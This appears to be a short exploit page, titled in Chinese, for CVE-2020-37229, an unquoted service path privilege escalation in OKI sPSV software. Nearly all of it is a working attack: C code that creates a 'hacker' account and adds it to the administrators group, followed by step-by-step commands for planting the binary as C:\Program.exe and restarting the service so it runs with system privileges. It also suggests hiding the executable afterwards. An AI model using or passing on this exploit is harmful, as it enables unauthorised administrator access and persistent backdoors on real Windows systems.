CVE-2020-37229 OKI sPSV未引用服务路径提权漏洞

#include <windows.h> #include <stdlib.h> // Malicious payload example: Adds a user to the administrators group // Attacker would compile this and place it at C:\Program.exe int main() { // Command to add a user "hacker" with password "123456" char* cmd = "net user hacker 123456 /add && net localgroup administrators hacker /add"; // Execute the command with system privileges system(cmd); // Optional: Clean up or hide the executable return 0; } /* PowerShell commands to exploit the vulnerability: 1. Check the service configuration: sc.exe qc sPSVOpLclSrv 2. Identify the unquoted path (e.g., C:\Program Files\OKI...). 3. Compile the malicious C++ code above to 'Program.exe'. 4. Copy the malicious executable to the vulnerable path segment: copy Program.exe C:\Program.exe 5. Restart the service to trigger the exploit: Restart-Service -Name "sPSVOpLclSrv" Alternatively, wait for a system reboot. */